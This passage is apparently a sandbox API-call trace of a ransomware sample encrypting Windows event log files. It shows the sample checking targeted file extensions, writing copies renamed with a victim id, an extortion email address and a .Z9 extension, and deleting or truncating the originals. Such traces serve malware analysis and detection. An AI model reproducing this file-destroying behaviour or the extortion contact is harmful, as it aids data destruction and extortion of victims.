	[0078.943] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0078.943] lstrlenW (lpString=".xlsx") returned 5
	[0078.943] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0078.943] lstrlenW (lpString=".ppt") returned 4
	[0078.943] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0078.943] lstrlenW (lpString="C:\\Logs\\Key Management Service.evtx") returned 35
	[0078.943] lstrlenW (lpString=".zip") returned 4
	[0078.943] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0078.943] lstrlenW (lpString=".rar") returned 4
	[0078.944] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0078.944] lstrlenW (lpString=".bz2") returned 4
	[0078.944] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0078.944] lstrlenW (lpString=".7z") returned 3
	[0078.944] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0078.944] lstrlenW (lpString="C:\\Logs\\Key Management Service.evtx") returned 35
	[0078.944] lstrlenW (lpString=".dbf") returned 4
	[0078.944] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0078.944] lstrlenW (lpString="C:\\Logs\\Key Management Service.evtx") returned 35
	[0078.944] lstrlenW (lpString=".1cd") returned 4
	[0078.944] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0078.944] lstrlenW (lpString="C:\\Logs\\Key Management Service.evtx") returned 35
	[0078.944] lstrlenW (lpString=".jpg") returned 4
	[0078.944] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0078.944] lstrcmpiW (lpString1=".evtx", lpString2=".Z9") returned -1
	[0078.944] lstrlenW (lpString="Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 50
	[0078.944] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeployment%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0078.944] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=69632) returned 1
	[0078.944] CloseHandle (hObject=0x354) returned 1
	[0078.944] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeployment%4operational.evtx")) returned 0x20
	[0078.945] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-windows-appxdeployment%4operational.evtx.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0078.945] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeployment%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0078.945] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.945] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.945] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-windows-appxdeployment%4operational.evtx.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0078.946] GetLastError () returned 0x0
	[0078.946] ReadFile (in: hFile=0x354, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x11000, lpOverlapped=0x0) returned 1
	[0078.993] WriteFile (in: hFile=0x394, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0x11010, lpOverlapped=0x0) returned 1
	[0078.995] ReadFile (in: hFile=0x354, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0078.995] WriteFile (in: hFile=0x394, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0x138, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0x138, lpOverlapped=0x0) returned 1
	[0078.995] SetEndOfFile (hFile=0x394) returned 1
	[0078.995] CloseHandle (hObject=0x394) returned 1
	[0078.997] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.997] SetEndOfFile (hFile=0x354) returned 1
	[0078.999] CloseHandle (hObject=0x354) returned 1
	[0078.999] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0078.999] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeployment%4operational.evtx")) returned 1
	[0078.999] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58
	[0078.999] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58
	[0078.999] lstrlenW (lpString=".doc") returned 4
	[0078.999] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0079.000] lstrlenW (lpString=".docx") returned 5
	[0079.000] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0079.000] lstrlenW (lpString=".pdf") returned 4
	[0079.000] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0079.000] lstrlenW (lpString=".xls") returned 4
	[0079.000] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0079.000] lstrlenW (lpString=".xlsx") returned 5
	[0079.000] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0079.000] lstrlenW (lpString=".ppt") returned 4
	[0079.000] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0079.000] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58
	[0079.000] lstrlenW (lpString=".zip") returned 4
	[0079.000] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0079.000] lstrlenW (lpString=".rar") returned 4
	[0079.000] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0079.000] lstrlenW (lpString=".bz2") returned 4
	[0079.000] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0079.000] lstrlenW (lpString=".7z") returned 3
	[0079.000] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0079.000] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58
	[0079.000] lstrlenW (lpString=".dbf") returned 4
	[0079.000] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0079.000] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58
	[0079.001] lstrlenW (lpString=".1cd") returned 4
	[0079.001] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0079.001] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58
	[0079.001] lstrlenW (lpString=".jpg") returned 4
	[0079.001] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0079.001] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58
	[0079.001] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58
	[0079.001] lstrlenW (lpString=".doc") returned 4
	[0079.001] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0079.001] lstrlenW (lpString=".docx") returned 5
	[0079.001] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0079.001] lstrlenW (lpString=".pdf") returned 4
	[0079.001] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0079.001] lstrlenW (lpString=".xls") returned 4
	[0079.001] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0079.001] lstrlenW (lpString=".xlsx") returned 5
	[0079.001] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0079.001] lstrlenW (lpString=".ppt") returned 4
	[0079.001] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0079.001] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58
	[0079.001] lstrlenW (lpString=".zip") returned 4
	[0079.001] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0079.001] lstrlenW (lpString=".rar") returned 4
	[0079.001] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0079.001] lstrlenW (lpString=".bz2") returned 4
	[0079.001] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0079.001] lstrlenW (lpString=".7z") returned 3
	[0079.001] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0079.001] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58
	[0079.001] lstrlenW (lpString=".dbf") returned 4
	[0079.001] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0079.001] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58
	[0079.002] lstrlenW (lpString=".1cd") returned 4
	[0079.002] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0079.002] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58
	[0079.002] lstrlenW (lpString=".jpg") returned 4
	[0079.002] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0079.002] lstrcmpiW (lpString1=".evtx", lpString2=".Z9") returned -1
	[0079.002] lstrlenW (lpString="Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 56
	[0079.002] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0079.002] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=2166784) returned 1
	[0079.002] CloseHandle (hObject=0x354) returned 1
	[0079.002] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4operational.evtx")) returned 0x20
	[0079.002] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4operational.evtx.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0079.003] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4operational.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4operational.evtx.id-b4197730.[help.me24@protonmail.com].z9")) returned 1
	[0079.003] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4operational.evtx.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0079.003] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfc64 | out: lpNewFilePointer=0x0) returned 1
	[0079.003] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfc24 | out: lpNewFilePointer=0x0) returned 1
	[0079.003] ReadFile (in: hFile=0x354, lpBuffer=0x3c36058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x38cfc30, lpOverlapped=0x0 | out: lpBuffer=0x3c36058*, lpNumberOfBytesRead=0x38cfc30*=0x40000, lpOverlapped=0x0) returned 1
	[0079.052] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0xb0555, lpNewFilePointer=0x0, dwMoveMethod=0x38cfc24 | out: lpNewFilePointer=0x0) returned 1
	[0079.052] ReadFile (in: hFile=0x354, lpBuffer=0x3c76058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x38cfc30, lpOverlapped=0x0 | out: lpBuffer=0x3c76058*, lpNumberOfBytesRead=0x38cfc30*=0x40000, lpOverlapped=0x0) returned 1
	[0079.066] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x38cfc64 | out: lpNewFilePointer=0xffffffff) returned 1
	[0079.066] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x1d1000, lpNewFilePointer=0x0, dwMoveMethod=0x38cfc24 | out: lpNewFilePointer=0x0) returned 1
	[0079.066] ReadFile (in: hFile=0x354, lpBuffer=0x3cb6058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x38cfc30, lpOverlapped=0x0 | out: lpBuffer=0x3cb6058*, lpNumberOfBytesRead=0x38cfc30*=0x40000, lpOverlapped=0x0) returned 1
	[0079.091] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0079.091] WriteFile (in: hFile=0x354, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0xc015c, lpNumberOfBytesWritten=0x38cfca8, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfca8*=0xc015c, lpOverlapped=0x0) returned 1
	[0079.638] SetEndOfFile (hFile=0x354) returned 1
	[0079.638] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x40000) returned 0x3e339a8
	[0079.643] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfc74 | out: lpNewFilePointer=0x0) returned 1
	[0079.643] WriteFile (in: hFile=0x354, lpBuffer=0x3e339a8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x38cfc80, lpOverlapped=0x0 | out: lpBuffer=0x3e339a8*, lpNumberOfBytesWritten=0x38cfc80*=0x40000, lpOverlapped=0x0) returned 1
	[0079.645] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0xb0555, lpNewFilePointer=0x0, dwMoveMethod=0x38cfc74 | out: lpNewFilePointer=0x0) returned 1
	[0079.645] WriteFile (in: hFile=0x354, lpBuffer=0x3e339a8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x38cfc80, lpOverlapped=0x0 | out: lpBuffer=0x3e339a8*, lpNumberOfBytesWritten=0x38cfc80*=0x40000, lpOverlapped=0x0) returned 1
	[0079.647] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x1d1000, lpNewFilePointer=0x0, dwMoveMethod=0x38cfc74 | out: lpNewFilePointer=0x0) returned 1
	[0079.647] WriteFile (in: hFile=0x354, lpBuffer=0x3e339a8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x38cfc80, lpOverlapped=0x0 | out: lpBuffer=0x3e339a8*, lpNumberOfBytesWritten=0x38cfc80*=0x40000, lpOverlapped=0x0) returned 1
	[0079.648] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e339a8 | out: hHeap=0x500000) returned 1
	[0079.648] CloseHandle (hObject=0x354) returned 1
	[0080.662] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0080.663] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 64
	[0080.663] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 64
	[0080.663] lstrlenW (lpString=".doc") returned 4
	[0080.663] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0080.663] lstrlenW (lpString=".docx") returned 5
	[0080.663] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0080.663] lstrlenW (lpString=".pdf") returned 4
	[0080.663] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0080.663] lstrlenW (lpString=".xls") returned 4
	[0080.663] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0080.663] lstrlenW (lpString=".xlsx") returned 5
	[0080.663] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0080.663] lstrlenW (lpString=".ppt") returned 4
	[0080.663] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0080.663] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 64
	[0080.663] lstrlenW (lpString=".zip") returned 4
	[0080.663] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0080.663] lstrlenW (lpString=".rar") returned 4
	[0080.663] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0080.663] lstrlenW (lpString=".bz2") returned 4
	[0080.663] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0080.663] lstrlenW (lpString=".7z") returned 3
	[0080.663] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0080.663] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 64
	[0080.663] lstrlenW (lpString=".dbf") returned 4
	[0080.663] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0080.663] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 64
	[0080.663] lstrlenW (lpString=".1cd") returned 4
	[0080.663] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0080.663] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 64
	[0080.663] lstrlenW (lpString=".jpg") returned 4
	[0080.664] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0080.664] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 64
	[0080.664] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 64
	[0080.664] lstrlenW (lpString=".doc") returned 4
	[0080.664] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0080.664] lstrlenW (lpString=".docx") returned 5
	[0080.664] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0080.664] lstrlenW (lpString=".pdf") returned 4
	[0080.664] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0080.664] lstrlenW (lpString=".xls") returned 4
	[0080.664] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0080.664] lstrlenW (lpString=".xlsx") returned 5
	[0080.664] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0080.664] lstrlenW (lpString=".ppt") returned 4
	[0080.664] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0080.664] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 64
	[0080.664] lstrlenW (lpString=".zip") returned 4
	[0080.664] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0080.664] lstrlenW (lpString=".rar") returned 4
	[0080.664] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0080.664] lstrlenW (lpString=".bz2") returned 4
	[0080.664] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0080.664] lstrlenW (lpString=".7z") returned 3
	[0080.664] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0080.664] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 64
	[0080.664] lstrlenW (lpString=".dbf") returned 4
	[0080.664] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0080.664] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 64
	[0080.664] lstrlenW (lpString=".1cd") returned 4
	[0080.664] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0080.664] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 64
	[0080.664] lstrlenW (lpString=".jpg") returned 4
	[0080.664] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0080.665] lstrcmpiW (lpString1=".evtx", lpString2=".Z9") returned -1
	[0080.665] lstrlenW (lpString="Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 43
	[0080.665] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcpv6-client%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0080.665] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=69632) returned 1
	[0080.665] CloseHandle (hObject=0x354) returned 1
	[0080.665] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcpv6-client%4admin.evtx")) returned 0x20
	[0080.665] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-windows-dhcpv6-client%4admin.evtx.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0080.665] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcpv6-client%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0080.665] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.665] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.665] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-windows-dhcpv6-client%4admin.evtx.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0080.666] GetLastError () returned 0x0
	[0080.666] ReadFile (in: hFile=0x354, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x11000, lpOverlapped=0x0) returned 1
	[0080.669] WriteFile (in: hFile=0x388, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0x11010, lpOverlapped=0x0) returned 1
	[0080.671] ReadFile (in: hFile=0x354, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0080.671] WriteFile (in: hFile=0x388, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0x12a, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0x12a, lpOverlapped=0x0) returned 1
	[0080.671] SetEndOfFile (hFile=0x388) returned 1
	[0080.671] CloseHandle (hObject=0x388) returned 1
	[0080.673] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.673] SetEndOfFile (hFile=0x354) returned 1
	[0080.674] CloseHandle (hObject=0x354) returned 1
	[0080.674] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0080.674] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcpv6-client%4admin.evtx")) returned 1
	[0080.675] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51
	[0080.675] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51
	[0080.675] lstrlenW (lpString=".doc") returned 4
	[0080.675] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0080.675] lstrlenW (lpString=".docx") returned 5
	[0080.675] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0080.675] lstrlenW (lpString=".pdf") returned 4
	[0080.675] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0080.675] lstrlenW (lpString=".xls") returned 4
	[0080.675] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0080.675] lstrlenW (lpString=".xlsx") returned 5
	[0080.675] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0080.675] lstrlenW (lpString=".ppt") returned 4
	[0080.675] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0080.675] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51
	[0080.675] lstrlenW (lpString=".zip") returned 4
	[0080.675] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0080.675] lstrlenW (lpString=".rar") returned 4
	[0080.675] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0080.675] lstrlenW (lpString=".bz2") returned 4
	[0080.675] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0080.675] lstrlenW (lpString=".7z") returned 3
	[0080.675] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0080.675] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51
	[0080.675] lstrlenW (lpString=".dbf") returned 4
	[0080.675] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0080.675] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51
	[0080.675] lstrlenW (lpString=".1cd") returned 4
	[0080.675] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0080.675] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51
	[0080.676] lstrlenW (lpString=".jpg") returned 4
	[0080.676] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
